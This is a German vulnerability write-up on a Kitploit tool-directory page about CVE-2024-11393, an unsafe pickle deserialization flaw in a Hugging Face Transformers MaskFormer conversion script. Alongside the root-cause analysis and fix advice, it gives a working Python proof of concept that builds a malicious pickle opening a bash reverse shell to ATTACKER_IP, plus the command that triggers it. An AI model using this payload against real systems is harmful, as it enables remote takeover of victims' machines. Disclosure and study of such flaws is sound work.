Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-11393 — Technical Details and Exploit for CVE-2024-11393 | Kitploit
Tools/GitHubGitHub/piyush-bhor/cve-2024-11393
Vulnerability AnalysisCode AnalysisExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubpiyush-bhor/cve-2024-11393

CVE-2024-11393

Technical Details and Exploit for CVE-2024-11393

Repository anzeigen
41vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-11393

Hugging Face Transformers MaskFormer Modell – Sicherheitslücke durch Deserialisierung nicht vertrauenswürdiger Daten mit Remote-Codeausführung

Allgemeiner Überblick und Auswirkungen der Sicherheitslücke:
Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf dem Host-Rechner auszuführen, indem er eine bösartige maskformer resnet Checkpoint-Datei an das Skript convert_maskformer_swin_to_pytorch.py im Hugging Face Transformers Repository übergibt.
Wenn ein ahnungsloser Benutzer eine Checkpoint-Datei eines Drittanbieters verwendet, führt die Ausführung des Skripts convert_maskformer_swin_to_pytorch.py zu einer Remote-Codeausführung (RCE) auf dem System des Opfers.

Das betroffene Produkt

  • Produkt: Hugging Face Transformers
  • Modul: Maskformer
  • Datei: transformers/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
  • Version: Aktuellste
  • GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

Ursachenanalyse

  • Detaillierte Beschreibung der Sicherheitslücke: Die Sicherheitslücke resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet pickle.load, um die Checkpoint-Datei zu laden, und ist daher anfällig für Codeausführung.

  • Code-Ablauf von der Eingabe bis zum verwundbaren Zustand:

  1. Der Benutzer lädt ein maskformer-Modell eines Drittanbieters herunter.
  2. Der Benutzer führt das Skript convert_maskformer_swin_to_pytorch.py aus und übergibt die Checkpoint-Datei an dieses.
  3. Das Skript convert_maskformer_swin_to_pytorch.py deserialisiert die Checkpoint-Datei und führt den bösartigen Code aus.
  • Einschleusungspunkt: Die Sicherheitslücke tritt an der Stelle auf, an der pickle.load aufgerufen wird.
    GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

  • Vorgeschlagene Korrekturen: Ersetzen Sie pickle.load durch yaml.safe_load(yaml_file) oder json.load, um die Ausführung beliebigen Codes zu verhindern.

  • Anweisungen zur Ausführung des Proof-of-Concept:

  1. Erstellen Sie eine bösartige Pickle-Datei malicious.pkl, die eine Reverse-Shell auf dem System des Opfers erstellt:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

Hinweis: Ändern Sie die ATTACKER_IP und ATTACKER_PORT, bevor Sie die Datei an das Opfer senden.

  1. Führen Sie das Skript convert_maskformer_swin_to_pytorch.py aus und übergeben Sie die Datei malicious.pkl an --checkpoint_path:
root@kitploit:~
> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub 

Hinweis: Der pytorch_dump_folder_path kann auf ein beliebiges Verzeichnis gesetzt werden, und der model_name kann ein beliebiges Modell sein.

Link zum Software-Download:
https://github.com/huggingface/transformers/tree/main

Tool herunterladen